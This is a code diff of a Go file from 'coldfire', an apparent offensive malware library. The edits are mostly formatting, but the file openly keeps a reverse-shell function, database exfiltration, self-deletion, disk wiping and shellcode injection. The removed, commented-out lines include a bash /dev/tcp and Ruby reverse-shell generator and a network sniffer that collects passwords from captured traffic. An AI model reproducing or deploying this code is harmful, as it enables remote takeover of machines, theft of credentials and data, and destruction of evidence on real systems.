@@ -5,6 +5,7 @@ package coldfire
5
5
6
6
import (
7
7
"bufio"
8
+ "database/sql"
8
9
"encoding/binary"
9
10
"fmt"
10
11
"net"
@@ -15,13 +16,12 @@ import (
15
16
"strconv"
16
17
"strings"
17
18
"time"
18
- "database/sql"
19
19
20
- _ "github.com/lib/pq"
21
- "github.com/fatih/color"
22
20
"github.com/GeertJohan/yubigo"
23
- _ "github.com/go-sql-driver/mysql"
24
- //"github.com/secsy/goftp"
21
+ "github.com/fatih/color"
22
+ _ "github.com/go-sql-driver/mysql"
23
+ _ "github.com/lib/pq"
24
+
25
25
"github.com/ztrue/tracerr"
26
26
)
27
27
32
32
Bold = color .New (color .Bold ).SprintFunc ()
33
33
Yellow = color .New (color .FgYellow ).SprintFunc ()
34
34
Magenta = color .New (color .FgMagenta ).SprintFunc ()
35
- tmpbuf []byte
35
+ tmpbuf []byte
36
36
)
37
37
38
38
func handleReverse (conn net.Conn ) {
@@ -103,13 +103,12 @@ func IsFileExec(file string) bool {
103
103
return mode & 0111 != 0
104
104
}
105
105
106
-
107
106
// Exfiltrates data slowly from either MySQL or Postgres
108
- func HarvestDB (ip , username , password string , port int ){
109
- if PortscanSingle (ip , 5400 ){
107
+ func HarvestDB (ip , username , password string , port int ) {
108
+ if PortscanSingle (ip , 5400 ) {
110
109
111
110
}
112
- if PortscanSingle (ip , 3306 ){
111
+ if PortscanSingle (ip , 3306 ) {
113
112
db , err := sql .Open ("mysql" , F ("%s:%s@tcp(%s:3306)/test" , username , password , ip ))
114
113
Check (err )
115
114
defer db .Close ()
@@ -126,52 +125,18 @@ func ListDB(db *sql.DB, tables bool) []string {
126
125
var result []string
127
126
var table string
128
127
for res .Next () {
129
- res .Scan (& table )
130
- result = append (result , table )
128
+ res .Scan (& table )
129
+ result = append (result , table )
131
130
}
132
131
return result
133
132
}
134
133
135
- // Generates a reverse shell in a given language to the current machine on arbitrary port
136
- /*func LangRevshell(language string, port int, global bool) string {
137
- reverse_addr := GetLocalIP()
138
- if (global){
139
- reverse_addr = GetGlobalIP()
140
- }
141
- rshell := ""
142
- switch (language){
143
- case "rb":
144
- rshell = F("require 'socket';spawn(\"sh\",[:in,:out,:err]=>TCPSocket.new(\"%s\",%d))", reverse_addr, port)
145
- case "sh":
146
- rshell = F("bash -i >& /dev/tcp/%s/%d 0>&1", reverse_addr, port)
147
- }
148
- return rshell
149
- }
150
-
151
- // Ta funkcja wpierdala gratisa na FTP
152
- func Gratis(ip, username, password string, port int) {
153
- config := goftp.Config{
154
- User: username,
155
- Password: password,
156
- ConnectionsPerHost: port,
157
- Timeout: 20 * time.Second,
158
- Logger: os.Stderr,
159
- }
160
- connection, err := goftp.DialConfig(config, ip)
161
- Check(err)
162
- listing, err := connection.ReadDir("/")
163
- Check(err)
164
- for _, file := range listing {
165
- _ = file.Name()
166
- }
167
- }*/
168
-
169
134
// Verifies Yubico OTP
170
135
func Yubi (id , token , otp string ) bool {
171
136
yubikey , err := yubigo .NewYubiAuth (id , token )
172
137
Check (err )
173
138
res , ok , err := yubikey .Verify (otp )
174
- if ( err != nil || ! ok || res == nil ) {
139
+ if err != nil || ! ok || res == nil {
175
140
return false
176
141
}
177
142
return true
@@ -257,51 +222,6 @@ func Remove() {
257
222
os .Remove (os .Args [0 ])
258
223
}
259
224
260
- // CredentialsSniff is used to sniff network traffic for
261
- // private user information.
262
- /*func CredentialsSniff(ifac, interval string,
263
- collector chan string,
264
- words []string) error {
265
- ifs := []string{}
266
- if ifac != "all" {
267
- ifs = []string{ifac}
268
- } else {
269
- ifs = append(ifs, ifs...)
270
- }
271
- hits := []string{"password", "user",
272
- "username", "secrets", "auth"}
273
- for w := range words {
274
- word := words[w]
275
- hits = append(hits, word)
276
- }
277
- for h := range hits {
278
- hit := hits[h]
279
- hits = append(hits, strings.ToUpper(hit))
280
- hits = append(hits, strings.ToUpper(string(hit[0]))+string(hit[1:]))
281
- }
282
- var snapshot_len int32 = 1024
283
- var timeout time.Duration = time.Duration(IntervalToSeconds(interval)) * time.Second
284
- for _, i := range ifs {
285
- handler, err := pcap.OpenLive(i, snapshot_len, false, timeout)
286
- if err != nil {
287
- return err
288
- }
289
- defer handler.Close()
290
- source := gopacket.NewPacketSource(handler, handler.LinkType())
291
- for p := range source.Packets() {
292
- app_layer := p.ApplicationLayer()
293
- pay := app_layer.Payload()
294
- for h := range hits {
295
- hit := hits[h]
296
- if bytes.Contains(pay, []byte(hit)) {
297
- collector <- string(pay)
298
- }
299
- }
300
- }
301
- }
302
- return nil
303
- }*/
304
-
305
225
// Reverse initiates a reverse shell to a given host:port.
306
226
func Reverse (host string , port int ) {
307
227
conn , err := net .Dial ("tcp" , host + ":" + strconv .Itoa (port ))
@@ -358,7 +278,6 @@ func Wipe() error {
358
278
return wipe ()
359
279
}
360
280
361
-
362
281
// Checks if a string contains valuable information through regex.
363
282
func RegexMatch (regex_type , str string ) bool {
364
283
regexes := map [string ]string {
@@ -388,6 +307,6 @@ func AutoDoc(port ...int) {
388
307
}
389
308
390
309
// Injects a bytearray into current process and executes it
391
- func RunShellcode (sc []byte , bg bool ){
310
+ func RunShellcode (sc []byte , bg bool ) {
392
311
runShellcode (sc , bg )
393
312
}
0 commit comments